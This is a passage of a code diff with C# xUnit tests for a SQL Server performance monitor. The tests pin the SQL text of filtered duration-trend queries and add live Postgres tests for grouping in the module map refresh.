+        var sql = DarlingTrendReader.ProcedureDurationTrendFilteredSql;
+        /* #5449: the procedure statement does not read the stored interval with a LAG fallback as the query views do. Its time
+           axis is the collector's SUCCESS runs (ProcedureCollectionsCte): a point's seconds are the gap to the previous point,
+           unrated past the collector's one-hour policy, and the stored interval answers only for a restart (all rows 0: unrated)
+           and for the series' first point. The old span term and the idle-run union are gone. */
+        Assert.Contains("CASE WHEN is_stored AND max_interval_seconds = 0 THEN NULL", sql, StringComparison.Ordinal);
+        Assert.Contains($"CASE WHEN gap_seconds <= {CollectorDeltaCalculator.DefaultMaxGapSeconds} THEN gap_seconds END", sql, StringComparison.Ordinal);
+        Assert.Contains("WHEN is_stored THEN NULLIF(max_interval_seconds, 0)", sql, StringComparison.Ordinal);
+        Assert.Equal(2, System.Text.RegularExpressions.Regex.Matches(sql, @"collection_time >= \$2 - INTERVAL '3600 seconds'").Count);
+        Assert.Contains("FROM gapped\nWHERE collection_time >= $2", string.Join('\n', Lines(sql)), StringComparison.Ordinal);
+        /* A run is logged after it finishes, so one that began inside the window can be logged just past its end: the runs are read
+           an hour past $3 (once), the stored rows and the final points stop at $3 (twice). */
+        Assert.Single(System.Text.RegularExpressions.Regex.Matches(sql, @"collection_time <= \$3 \+ INTERVAL '3600 seconds'"));
+        Assert.Equal(2, System.Text.RegularExpressions.Regex.Matches(sql, @"collection_time <= \$3\r?\n").Count);
+        Assert.DoesNotContain("COALESCE(MAX(", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("series_first", sql, StringComparison.Ordinal);
         Assert.Contains("CASE WHEN interval_seconds > 0 THEN total_elapsed_ms / interval_seconds END AS elapsed_ms_per_second", sql, StringComparison.Ordinal);
-
-        /* The viewer's per-collection CTE minus its database-filter line is the MCP statement's, whitespace aside. */
-        var viewer = string.Join('\n', Cte(Lf(ViewerDataService.ProcedureDurationTrendSql), "raw AS\n(")
-            .Split('\n')
-            .Where(l => !l.Contains("$4::text[]", StringComparison.Ordinal))
-            .Select(l => l.Trim()));
-        var mcp = string.Join('\n', Cte(Lf(sql), "raw AS\n(").Split('\n').Select(l => l.Trim()));
-        Assert.Equal(viewer, mcp);
+        Assert.Contains("SUM(rated_elapsed_ms) / SUM(rated_seconds) AS elapsed_ms_per_second", sql, StringComparison.Ordinal);
+
+        /* The viewer's per-collection CTEs minus their database-filter lines are the MCP statement's (whitespace aside; since
+           #5244 both run the filtered statement).
+           #5414 M1: the filter is inside the aggregates, so the lines that differ are the two sums (FILTERed in the
+           viewer's) and the matched-rows count; everything else, the stored-interval CASE and the FROM / WHERE (which
+           carries NO database term, so the interval is the collection's), is the same text. */
+        static bool IsFilteredSumLine(string l) =>
+            l.Contains("delta_elapsed_time", StringComparison.Ordinal) || l.Contains("delta_execution_count", StringComparison.Ordinal)
+            || l.Contains("matched_rows", StringComparison.Ordinal);
+        foreach (var cte in new[] { "stored AS\n(", "runs AS\n(", "events AS\n(", "sequenced AS\n(", "points AS\n(", "gapped AS\n(", "raw AS\n(" })
+        {
+            var viewerCte = Cte(Lf(ViewerDataService.ProcedureDurationTrendSql), cte);
+            if (cte == "stored AS\n(")
+            {
+                Assert.Equal(3, viewerCte.Split('\n').Count(l => l.Contains("FILTER (WHERE $4::text[] IS NULL OR database_name = ANY($4))", StringComparison.Ordinal)));
+            }
+            var viewer = string.Join('\n', viewerCte.Split('\n').Where(l => !IsFilteredSumLine(l)).Select(l => l.Trim()));
+            var mcp = string.Join('\n', Cte(Lf(sql), cte).Split('\n').Where(l => !IsFilteredSumLine(l)).Select(l => l.Trim()));
+            Assert.Equal(viewer, mcp);
+        }
 
         /* And the shared readers KEEP a NULL-rate row as an unrated point rather than reading it as 0 or
            dropping it — the C# half of the idiom (#3541 A12): the bucketed one the duration pair has read
@@ -376,7 +417,7 @@ Query Store trend still reads through. */
     [Fact]
     public void QueryStoreDurationTrendSql_KeepsBothIntervalArms_AndPlacesWorkWhenItRan()
     {
-        var sql = DarlingTrendReader.QueryStoreDurationTrendSql;
+        var sql = DarlingTrendReader.QueryStoreDurationTrendFilteredSql;
         Assert.Contains("FROM query_store_stats", sql, StringComparison.Ordinal);
         Assert.DoesNotContain("v_query_store_stats", sql, StringComparison.Ordinal);
 
@@ -409,11 +450,30 @@ public void QueryStoreDurationTrendSql_KeepsBothIntervalArms_AndPlacesWorkWhenIt
     [InlineData(nameof(DarlingTrendReader.ProcedureDurationTrendHourlySql), TimescaleSupport.ProcedureStatsHourlyView, "procedure_stats")]
     public void DurationTrendHourlySql_ReadsTheRollup_BucketsByIt_ProjectsTheSharedShape(string sqlName, string view, string rawTable)
     {
-        var sql = SqlByName(sqlName);
+        /* Line endings normalized: the source files are checked out with CRLF (.gitattributes eol=crlf), so the builder's raw
+           string carries CRLF and a "\n" probe found nothing. (The query_stats branch's DoesNotContain below passed on that
+           mismatch alone; with LF it is a real guard.) */
+        var sql = Lf(SqlByName(sqlName));
 
         Assert.Contains("FROM " + view, sql, StringComparison.Ordinal);
-        Assert.DoesNotContain("FROM " + rawTable + "\n", sql, StringComparison.Ordinal);
-        Assert.DoesNotContain("collection_time >=", sql, StringComparison.Ordinal);
+        if (rawTable == "procedure_stats")
+        {
+            /* #5449: the procedure read adds the hours a collector run fell in with no raw row. The raw table is read only to test
+               that one hour holds no row: a single NOT EXISTS probe that projects no work, never the hour's sums. */
+            var probeAt = sql.IndexOf("FROM " + rawTable + "\n", StringComparison.Ordinal);
+            Assert.True(probeAt > 0, "the idle-hours raw probe is gone");
+            Assert.Equal(probeAt, sql.LastIndexOf("FROM " + rawTable + "\n", StringComparison.Ordinal));
+            Assert.Contains("NOT EXISTS", sql[..probeAt], StringComparison.Ordinal);
+            Assert.Contains("SELECT 1", sql[(probeAt - 40)..probeAt], StringComparison.Ordinal);
+            Assert.Contains("collect.collection_log", sql, StringComparison.Ordinal);
+            Assert.Contains("status = 'SUCCESS'", sql, StringComparison.Ordinal);
+        }
+        else
+        {
+            Assert.DoesNotContain("FROM " + rawTable + "\n", sql, StringComparison.Ordinal);
+            Assert.DoesNotContain("collection_time >=", sql, StringComparison.Ordinal);
+        }
+
         Assert.Contains("bucket >= $2", sql, StringComparison.Ordinal);
         /* A bucket is stamped at its START, so the window end is exclusive: `bucket <= $3` would take the whole
            hour that begins at an end falling on the hour (RollupWindowEndBoundTests pins the same for every rollup read). */
@@ -467,8 +527,8 @@ public void DurationTrendHourlySql_DividesByTheBucketWidth_NotALag()
         /* The raw reads keep a LAG — since #3653 A11 only as the fallback for a pre-V128 collection whose stored
            interval is NULL; the stored-interval read itself is pinned by
            RawDurationTrendSql_ReadsTheStoredInterval_ThreeState_AndTheRawConstsAreItsAliases below. */
-        Assert.Contains("LAG(collection_time)", DarlingTrendReader.QueryDurationTrendSql, StringComparison.Ordinal);
-        Assert.Contains("LAG(collection_time)", DarlingTrendReader.ProcedureDurationTrendSql, StringComparison.Ordinal);
+        Assert.Contains("LAG(collection_time)", DarlingTrendReader.QueryDurationTrendFilteredSql, StringComparison.Ordinal);
+        Assert.Contains("LAG(collection_time)", DarlingTrendReader.ProcedureDurationTrendFilteredSql, StringComparison.Ordinal);
     }
 
     /// <summary>
@@ -477,9 +537,9 @@ RawDurationTrendSql_ReadsTheStoredInterval_ThreeState_AndTheRawConstsAreItsAlias
     /// — the A11a residual is reported, not silently rewritten") is retired: the shape is now the three-state
     /// read the procedure trends have carried since V128 — <c>MAX(sample_interval_seconds)</c> per collection,
     /// <c>0 → NULL</c> (unrated), <c>NULL →</c> the LAG — built ONCE in Storage
-    /// (<see cref="DurationTrendRouting.BuildRawTrendSql"/>, and since #4234 its bucketed twin
-    /// <see cref="DurationTrendRouting.BuildBucketedRawTrendSql"/>, which the viewer's <c>QueryDurationTrendSql</c>
-    /// now reads with its database filter). The wrong spelling is pinned by absence:
+    /// (<see cref="DurationTrendRouting.BuildBucketedRawTrendSql"/>, which the viewer's <c>QueryDurationTrendSql</c>
+    /// reads with its database filter; the per-collection builder it was factored from had no production caller after
+    /// #4234 and is gone). The wrong spelling is pinned by absence:
     /// <c>COALESCE(NULLIF(sample_interval_seconds, 0), LAG)</c> would fall back to a fabricated interval on
     /// exactly the restart row the marker flags.
     ///
@@ -505,9 +565,9 @@ public void RawDurationTrendSql_ReadsTheStoredInterval_ThreeState_AndTheRawConst
     {
         foreach (var sql in new[]
         {
-            DurationTrendRouting.QueryDurationTrendRawSql(withDatabaseFilter: false),
-            DurationTrendRouting.QueryDurationTrendRawSql(withDatabaseFilter: true),
-            DarlingTrendReader.QueryDurationTrendSql,
+            DurationTrendRouting.BuildBucketedRawTrendSql("query_stats", withDatabaseFilter: false),
+            DurationTrendRouting.BuildBucketedRawTrendSql("query_stats", withDatabaseFilter: true),
+            DarlingTrendReader.QueryDurationTrendFilteredSql,
             ViewerDataService.QueryDurationTrendSql,
             ViewerDataService.ExecutionCountTrendSql,
         })
@@ -516,18 +576,27 @@ public void RawDurationTrendSql_ReadsTheStoredInterval_ThreeState_AndTheRawConst
             Assert.Contains("CASE WHEN MAX(sample_interval_seconds) IS NULL", sql, StringComparison.Ordinal);
             Assert.Contains("THEN extract(epoch FROM (date_trunc('second', collection_time) - date_trunc('second', LAG(collection_time) OVER (ORDER BY collection_time))))", sql, StringComparison.Ordinal);
             Assert.Contains("ELSE NULLIF(MAX(sample_interval_seconds), 0)", sql, StringComparison.Ordinal);
-            Assert.DoesNotContain("COALESCE(", sql, StringComparison.Ordinal);
+            /* The wrong spelling is COALESCE over the INTERVAL (a fabricated interval on the restart row); the filtered
+               texts COALESCE their SUMs to 0 (#5414 M1: a collection the chosen databases had no rows in is zero work,
+               a measurement) and say so, so only the interval spellings are refused. */
+            Assert.DoesNotContain("COALESCE(NULLIF(", sql, StringComparison.Ordinal);
+            Assert.DoesNotContain("COALESCE(sample_interval_seconds", sql, StringComparison.Ordinal);
+            Assert.DoesNotContain("COALESCE(MAX(", sql, StringComparison.Ordinal);
             Assert.DoesNotContain("ELSE 0", sql, StringComparison.Ordinal);
             Assert.Contains("CASE WHEN interval_seconds > 0 THEN CAST(total_executions AS DOUBLE PRECISION) / interval_seconds END AS executions_per_second", sql, StringComparison.Ordinal);
         }
 
-        /* #4234: the viewer's duration pair moved onto the BUCKETED builder (the MCP shape since #3897), so
-           they are now compared against that builder rather than the per-collection BuildRawTrendSql; the
-           filter is still the ONLY difference between the viewer's call and the MCP reader's. */
+        /* #4234: the viewer's duration pair moved onto the BUCKETED builder (the MCP shape since #3897); the filter
+           is the ONLY difference between the viewer's call and the MCP reader's. */
         Assert.Equal(DurationTrendRouting.BuildBucketedRawTrendSql("query_stats", withDatabaseFilter: true), ViewerDataService.QueryDurationTrendSql);
+        /* #5414 M1: the filtered per-collection CTE carries the filter in its aggregates and a matched-rows count; minus
+           those lines it is the unfiltered text. */
         Assert.Equal(
-            Lines(DurationTrendRouting.QueryDurationTrendRawSql(withDatabaseFilter: true)).Where(l => !l.Contains("$4::text[]", StringComparison.Ordinal)).ToArray(),
-            Lines(DurationTrendRouting.QueryDurationTrendRawSql(withDatabaseFilter: false)));
+            Lines(Cte(Lf(DurationTrendRouting.BuildBucketedRawTrendSql("query_stats", withDatabaseFilter: true)), "raw AS\n("))
+                .Where(l => !l.Contains("delta_elapsed_time", StringComparison.Ordinal) && !l.Contains("delta_execution_count", StringComparison.Ordinal)
+                            && !l.Contains("matched_rows", StringComparison.Ordinal)).ToArray(),
+            Lines(Cte(Lf(DurationTrendRouting.BuildBucketedRawTrendSql("query_stats", withDatabaseFilter: false)), "raw AS\n("))
+                .Where(l => !l.Contains("delta_elapsed_time", StringComparison.Ordinal) && !l.Contains("delta_execution_count", StringComparison.Ordinal)).ToArray());
 
         /* The alias's ARGUMENT, by value: since #3897 the MCP reader's two raw texts are the BUCKETED builder's
            output, byte for byte (line endings aside) — not line-trimmed, because an alias has no indentation of
@@ -536,15 +605,13 @@ its own to forgive — and since #4234 the viewer's query AND procedure texts ar
            (DurationTrendRouting.RawCollectionsCte): the MCP statement's CTE IS the viewer's minus the filter
            line, so the tool's buckets and the chart's buckets are built from the same collections with the same
            three-state interval. */
-        Assert.Equal(Lf(DurationTrendRouting.BuildBucketedRawTrendSql("query_stats", withDatabaseFilter: false)), Lf(DarlingTrendReader.QueryDurationTrendSql));
-        Assert.Equal(Lf(DurationTrendRouting.BuildBucketedRawTrendSql("procedure_stats", withDatabaseFilter: false)), Lf(DarlingTrendReader.ProcedureDurationTrendSql));
+        Assert.Equal(Lf(DurationTrendRouting.BuildBucketedRawTrendSql("query_stats", withDatabaseFilter: true)), Lf(DarlingTrendReader.QueryDurationTrendFilteredSql));
+        Assert.Equal(Lf(DurationTrendRouting.BuildBucketedRawTrendSql("procedure_stats", withDatabaseFilter: true)), Lf(DarlingTrendReader.ProcedureDurationTrendFilteredSql));
         Assert.Equal(Lf(DurationTrendRouting.BuildBucketedRawTrendSql("procedure_stats", withDatabaseFilter: true)), Lf(ViewerDataService.ProcedureDurationTrendSql));
-        Assert.Equal(Cte(Lf(DurationTrendRouting.QueryDurationTrendRawSql(withDatabaseFilter: false)), "raw AS\n("), Cte(Lf(DarlingTrendReader.QueryDurationTrendSql), "raw AS\n("));
-        Assert.Equal(Cte(Lf(DurationTrendRouting.ProcedureDurationTrendRawSql(withDatabaseFilter: false)), "raw AS\n("), Cte(Lf(DarlingTrendReader.ProcedureDurationTrendSql), "raw AS\n("));
-        /* The MCP text has no database filter; its one $4 is the bucket width. */
-        Assert.DoesNotContain("$4::text[]", DarlingTrendReader.QueryDurationTrendSql, StringComparison.Ordinal);
-        Assert.DoesNotContain("$4::text[]", DarlingTrendReader.ProcedureDurationTrendSql, StringComparison.Ordinal);
-        Assert.Contains("CAST($4 AS integer) * INTERVAL '1 minute'", DarlingTrendReader.QueryDurationTrendSql, StringComparison.Ordinal);
+        /* The MCP text carries the database filter at $4 (#5244), so the bucket width is $5. */
+        Assert.Contains("$4::text[]", DarlingTrendReader.QueryDurationTrendFilteredSql, StringComparison.Ordinal);
+        Assert.Contains("$4::text[]", DarlingTrendReader.ProcedureDurationTrendFilteredSql, StringComparison.Ordinal);
+        Assert.Contains("CAST($5 AS integer) * INTERVAL '1 minute'", DarlingTrendReader.QueryDurationTrendFilteredSql, StringComparison.Ordinal);
         Assert.Contains("$4::text[]", ViewerDataService.ProcedureDurationTrendSql, StringComparison.Ordinal);
 
         /* Identity, read off the declarations (the #3684 idiom: ViewerTrendRoutingPortTests pins the hourly and
@@ -552,8 +619,10 @@ its own to forgive — and since #4234 the viewer's query AND procedure texts ar
            LF-normalised first — the positive half would fail loudly on CRLF, which is why it is asserted on
            the normalised text rather than left to a DoesNotContain that could never fire. */
         var reader = Lf(RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingTrendReader.cs"));
-        Assert.Contains("public static readonly string QueryDurationTrendSql =\n        DurationTrendRouting.BuildBucketedRawTrendSql(\"query_stats\", withDatabaseFilter: false);", reader, StringComparison.Ordinal);
-        Assert.Contains("public static readonly string ProcedureDurationTrendSql =\n        DurationTrendRouting.BuildBucketedRawTrendSql(\"procedure_stats\", withDatabaseFilter: false);", reader, StringComparison.Ordinal);
+        /* #5244 review L1: the MCP reader's unfiltered raw constants ran nowhere and are gone, so the pins above
+           and below check the text the tools run. */
+        Assert.DoesNotContain("public static readonly string QueryDurationTrendSql =", reader, StringComparison.Ordinal);
+        Assert.DoesNotContain("public static readonly string ProcedureDurationTrendSql =", reader, StringComparison.Ordinal);
         var viewer = Lf(RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.QueryTrends.cs"));
         Assert.Contains("public static readonly string ProcedureDurationTrendSql =\n        DurationTrendRouting.BuildBucketedRawTrendSql(\"procedure_stats\", withDatabaseFilter: true);", viewer, StringComparison.Ordinal);
         Assert.Contains("public static readonly string QueryDurationTrendSql =\n        DurationTrendRouting.BuildBucketedRawTrendSql(\"query_stats\", withDatabaseFilter: true);", viewer, StringComparison.Ordinal);
@@ -578,11 +647,18 @@ LAG over collection_time (the Query Store read LAGs over point_time), no NULLIF
            Since #3653 (Q12) only the RAW alias is passed: the hourly text is built inside the routed read from
            the route's resolved relation (the interval-honest successor where it reaches as far as the legacy),
            so the hourly constants stay as the pinned legacy text and are no longer the routed read's argument. */
-        Assert.Contains("QueryDurationTrendSql, postgres, serverId, startUtc, endUtc, route, bucketMinutes, cancellationToken", reader, StringComparison.Ordinal);
-        Assert.Contains("ProcedureDurationTrendSql, postgres, serverId, startUtc, endUtc, route, bucketMinutes, cancellationToken", reader, StringComparison.Ordinal);
+        /* #5244: the routed read runs the FILTERED alias (the same builder with withDatabaseFilter: true, $4 the
+           database set, $5 the width) and binds the caller's set, DatabaseFilter.All being SQL NULL, so the
+           statement never changes with the selection; the unfiltered alias stays as the pinned legacy text. */
+        Assert.Contains("QueryDurationTrendFilteredSql, postgres, serverId, startUtc, endUtc, route, bucketMinutes, databases, cancellationToken", reader, StringComparison.Ordinal);
+        Assert.Contains("ProcedureDurationTrendFilteredSql, postgres, serverId, startUtc, endUtc, route, bucketMinutes, databases, cancellationToken", reader, StringComparison.Ordinal);
+        Assert.Contains("public static readonly string QueryDurationTrendFilteredSql =\n        DurationTrendRouting.BuildBucketedRawTrendSql(\"query_stats\", withDatabaseFilter: true);", reader, StringComparison.Ordinal);
+        Assert.Contains("public static readonly string ProcedureDurationTrendFilteredSql =\n        DurationTrendRouting.BuildBucketedRawTrendSql(\"procedure_stats\", withDatabaseFilter: true);", reader, StringComparison.Ordinal);
         // LA-4a routed the builder call off the stitched from-clause instead of the bare view name, so the pin
-        // follows the builder call site, not the old constant.
-        Assert.Contains("DurationTrendRouting.BuildBucketedHourlyTrendSql(route.HourlyFromClauseOrDefault)", reader, StringComparison.Ordinal);
+        // follows the builder call site, not the old constant. #5244 adds the filter to that call.
+        /* #5449: the procedure rollups hold no row for an hour in which no procedure worked, so that grain's call also fills the quiet hours in. */
+        Assert.Contains("DurationTrendRouting.BuildBucketedHourlyTrendSql(\n                    route.HourlyFromClauseOrDefault, withDatabaseFilter: true,", Lf(reader), StringComparison.Ordinal);
+        Assert.Contains("coverIdleHours: route.RawTable == \"procedure_stats\"", reader, StringComparison.Ordinal);
     }
 
     private static string Lf(string s) => s.Replace("\r\n", "\n", StringComparison.Ordinal);
@@ -658,12 +734,12 @@ public void QueryHistorySql_OneQuery_CarriesDeltas_ReadsBaseTable()
     [InlineData(nameof(DarlingTrendReader.DistinctPerfmonCountersSql))]
     [InlineData(nameof(DarlingTrendReader.FileIoSeriesSql))]
     [InlineData(nameof(DarlingTrendReader.FileIoTrendSql))]
-    [InlineData(nameof(DarlingTrendReader.QueryDurationTrendSql))]
+    [InlineData(nameof(DarlingTrendReader.QueryDurationTrendFilteredSql))]
     [InlineData(nameof(DarlingTrendReader.QueryDurationTrendHourlySql))]
-    [InlineData(nameof(DarlingTrendReader.ProcedureDurationTrendSql))]
+    [InlineData(nameof(DarlingTrendReader.ProcedureDurationTrendFilteredSql))]
     [InlineData(nameof(DarlingTrendReader.ProcedureDurationTrendHourlySql))]
-    [InlineData(nameof(DarlingTrendReader.QueryStoreDurationTrendSql))]
-    [InlineData(nameof(DarlingTrendReader.QueryStoreDurationTrendRollupSql))]
+    [InlineData(nameof(DarlingTrendReader.QueryStoreDurationTrendFilteredSql))]
+    [InlineData(nameof(DarlingTrendReader.QueryStoreDurationTrendRollupFilteredSql))]
     [InlineData(nameof(DarlingTrendReader.HasAnyQueryStatSql))]
     [InlineData(nameof(DarlingTrendReader.HasAnyProcedureStatSql))]
     [InlineData(nameof(DarlingTrendReader.HasAnyQueryStoreStatSql))]
@@ -687,12 +763,12 @@ public void Reads_ArePostgresDialect_NoTsqlIsms(string sqlName)
         nameof(DarlingTrendReader.DistinctPerfmonCountersSql) => DarlingTrendReader.DistinctPerfmonCountersSql,
         nameof(DarlingTrendReader.FileIoSeriesSql) => DarlingTrendReader.FileIoSeriesSql,
         nameof(DarlingTrendReader.FileIoTrendSql) => DarlingTrendReader.FileIoTrendSql,
-        nameof(DarlingTrendReader.QueryDurationTrendSql) => DarlingTrendReader.QueryDurationTrendSql,
+        nameof(DarlingTrendReader.QueryDurationTrendFilteredSql) => DarlingTrendReader.QueryDurationTrendFilteredSql,
         nameof(DarlingTrendReader.QueryDurationTrendHourlySql) => DarlingTrendReader.QueryDurationTrendHourlySql,
-        nameof(DarlingTrendReader.ProcedureDurationTrendSql) => DarlingTrendReader.ProcedureDurationTrendSql,
+        nameof(DarlingTrendReader.ProcedureDurationTrendFilteredSql) => DarlingTrendReader.ProcedureDurationTrendFilteredSql,
         nameof(DarlingTrendReader.ProcedureDurationTrendHourlySql) => DarlingTrendReader.ProcedureDurationTrendHourlySql,
-        nameof(DarlingTrendReader.QueryStoreDurationTrendSql) => DarlingTrendReader.QueryStoreDurationTrendSql,
-        nameof(DarlingTrendReader.QueryStoreDurationTrendRollupSql) => DarlingTrendReader.QueryStoreDurationTrendRollupSql,
+        nameof(DarlingTrendReader.QueryStoreDurationTrendFilteredSql) => DarlingTrendReader.QueryStoreDurationTrendFilteredSql,
+        nameof(DarlingTrendReader.QueryStoreDurationTrendRollupFilteredSql) => DarlingTrendReader.QueryStoreDurationTrendRollupFilteredSql,
         nameof(DarlingTrendReader.HasAnyQueryStatSql) => DarlingTrendReader.HasAnyQueryStatSql,
         nameof(DarlingTrendReader.HasAnyProcedureStatSql) => DarlingTrendReader.HasAnyProcedureStatSql,
         nameof(DarlingTrendReader.HasAnyQueryStoreStatSql) => DarlingTrendReader.HasAnyQueryStoreStatSql,
diff --git a/Darling/Darling.Tests/DarlingModuleMapGroupedSourceLiveTests.cs b/Darling/Darling.Tests/DarlingModuleMapGroupedSourceLiveTests.cs
new file mode 100644
index 0000000000..f8b6755188
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingModuleMapGroupedSourceLiveTests.cs
@@ -0,0 +1,307 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5583: the module map refresh groups <c>procedure_stats</c> inside <c>src</c>, before the tail's
+/// <c>DISTINCT ON</c>. Two pins. The RESULT pin: grouping by the names too changes nothing a reader can see (the
+/// newest row's names per handle, its <c>last_seen</c>, the watermark), across a handle that renames, a handle on
+/// two servers, NULL names and a row exactly at the bound. The PLAN pin: at volume the shipped statements put an
+/// aggregate under <c>src</c> and never sort the raw scan, which is the 2.19 GB spill (21.5 s of 35.5 s) the observed
+/// large store paid. Each fact mints its own scratch store.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class DarlingModuleMapGroupedSourceLiveTests
+{
+    private const string SkipText = "Set DARLING_TEST_PG to a Postgres connection string to run the module map's grouped-source pins (each mints its own scratch database).";
+
+    private static readonly DateTime Anchor = new(2026, 1, 10, 12, 0, 0, DateTimeKind.Unspecified);
+
+    private static long s_collectionId = 9_000_000L;
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static async Task RunLiveAsync(Func<NpgsqlConnection, CancellationToken, Task> body)
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        Assert.True(await DarlingModuleMap.EnsureTableAsync(connection, null, ct));
+        var bodySucceeded = false;
+        try
+        {
+            await body(connection, ct);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    private static async Task InsertAsync(NpgsqlConnection c, DateTime t, string server, string handle, string? db, string? schema, string? obj, CancellationToken ct)
+    {
+        await using var cmd = new NpgsqlCommand(
+            @"INSERT INTO collect.procedure_stats (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_name, sql_handle)
+VALUES ($1,$2,1,$3,$4,$5,$6,$7)", c);
+        cmd.Parameters.AddWithValue(Interlocked.Increment(ref s_collectionId));
+        cmd.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = t });
+        cmd.Parameters.AddWithValue(server);
+        cmd.Parameters.AddWithValue(NpgsqlDbType.Text, (object?)db ?? DBNull.Value);
+        cmd.Parameters.AddWithValue(NpgsqlDbType.Text, (object?)schema ?? DBNull.Value);
+        cmd.Parameters.AddWithValue(NpgsqlDbType.Text, (object?)obj ?? DBNull.Value);
+        cmd.Parameters.AddWithValue(handle);
+        await cmd.ExecuteNonQueryAsync(ct);
+    }
+
+    /// <summary>One handle's map row as <c>db|schema|object|last_seen</c>, NULL names as <c>~</c>; null when absent.</summary>
+    private static async Task<string?> MapRowAsync(NpgsqlConnection c, string server, string handle, CancellationToken ct)
+    {
+        await using var cmd = new NpgsqlCommand(
+            @"SELECT coalesce(database_name,'~') || '|' || coalesce(schema_name,'~') || '|' || coalesce(object_name,'~') || '|' || to_char(last_seen, 'YYYY-MM-DD HH24:MI:SS')
+FROM collect.module_map WHERE server_name = $1 AND sql_handle = $2", c);
+        cmd.Parameters.AddWithValue(server);
+        cmd.Parameters.AddWithValue(handle);
+        var v = await cmd.ExecuteScalarAsync(ct);
+        return v is DBNull ? null : (string?)v;
+    }
+
+    private static async Task<int> MapCountAsync(NpgsqlConnection c, CancellationToken ct)
+    {
+        await using var cmd = new NpgsqlCommand("SELECT count(*)::int FROM collect.module_map", c);
+        return (int)(await cmd.ExecuteScalarAsync(ct))!;
+    }
+
+    private static string At(DateTime t) => t.ToString("yyyy-MM-dd HH:mm:ss", CultureInfo.InvariantCulture);
+
+    /// <summary>Seeds the cases every result fact shares, relative to <paramref name="start"/> (the window's bound):
+    /// <list type="bullet">
+    /// <item><c>0xRENAMED</c> on server A: three name sets, the newest set in the MIDDLE of the insert order and
+    /// recurring, so only the newest-by-time rule can pick it;</item>
+    /// <item><c>0xSHARED</c> on A and B with different names: a handle seen on two servers attributes per server;</item>
+    /// <item><c>0xNULLS</c>: NULL database/schema/object on every row, one NULL-name group;</item>
+    /// <item><c>0xNULLTHENNAMED</c> (a NULL-named row older than a named one) and <c>0xNAMEDTHENNULL</c> (the
+    /// reverse): the newest row wins even when its names are NULL;</item>
+    /// <item><c>0xATBOUND</c>: one row exactly at the bound (read: the bound is <c>&gt;=</c>);</item>
+    /// <item><c>0xBEFORE</c>: one row a tick before the bound (not read).</item></list></summary>
+    private static async Task SeedAsync(NpgsqlConnection c, DateTime start, CancellationToken ct)
+    {
+        await InsertAsync(c, start.AddMinutes(10), "A", "0xRENAMED", "Db", "dbo", "old_name", ct);
+        await InsertAsync(c, start.AddMinutes(50), "A", "0xRENAMED", "Db", "dbo", "newest_name", ct);
+        await InsertAsync(c, start.AddMinutes(30), "A", "0xRENAMED", "Db", "dbo", "middle_name", ct);
+        await InsertAsync(c, start.AddMinutes(5), "A", "0xRENAMED", "Db", "dbo", "old_name", ct);
+        await InsertAsync(c, start.AddMinutes(20), "A", "0xRENAMED", "Db", "dbo", "newest_name", ct);
+
+        await InsertAsync(c, start.AddMinutes(15), "A", "0xSHARED", "DbA", "dbo", "on_a", ct);
+        await InsertAsync(c, start.AddMinutes(45), "B", "0xSHARED", "DbB", "sch", "on_b", ct);
+
+        await InsertAsync(c, start.AddMinutes(11), "A", "0xNULLS", null, null, null, ct);
+        await InsertAsync(c, start.AddMinutes(12), "A", "0xNULLS", null, null, null, ct);
+
+        await InsertAsync(c, start.AddMinutes(10), "A", "0xNULLTHENNAMED", null, null, null, ct);
+        await InsertAsync(c, start.AddMinutes(40), "A", "0xNULLTHENNAMED", "Db", "dbo", "named_later", ct);
+        await InsertAsync(c, start.AddMinutes(10), "A", "0xNAMEDTHENNULL", "Db", "dbo", "named_earlier", ct);
+        await InsertAsync(c, start.AddMinutes(40), "A", "0xNAMEDTHENNULL", null, null, null, ct);
+
+        await InsertAsync(c, start, "A", "0xATBOUND", "Db", "dbo", "at_bound", ct);
+        await InsertAsync(c, start.AddTicks(-10), "A", "0xBEFORE", "Db", "dbo", "before_bound", ct);
+    }
+
+    private static async Task AssertResultAsync(NpgsqlConnection c, DateTime start, int upserted, bool beforeBoundIsExcluded, CancellationToken ct)
+    {
+        Assert.Equal("Db|dbo|newest_name|" + At(start.AddMinutes(50)), await MapRowAsync(c, "A", "0xRENAMED", ct));
+        Assert.Equal("DbA|dbo|on_a|" + At(start.AddMinutes(15)), await MapRowAsync(c, "A", "0xSHARED", ct));
+        Assert.Equal("DbB|sch|on_b|" + At(start.AddMinutes(45)), await MapRowAsync(c, "B", "0xSHARED", ct));
+        Assert.Equal("~|~|~|" + At(start.AddMinutes(12)), await MapRowAsync(c, "A", "0xNULLS", ct));
+        Assert.Equal("Db|dbo|named_later|" + At(start.AddMinutes(40)), await MapRowAsync(c, "A", "0xNULLTHENNAMED", ct));
+        Assert.Equal("~|~|~|" + At(start.AddMinutes(40)), await MapRowAsync(c, "A", "0xNAMEDTHENNULL", ct));
+        Assert.Equal("Db|dbo|at_bound|" + At(start), await MapRowAsync(c, "A", "0xATBOUND", ct));
+        if (beforeBoundIsExcluded)
+        {
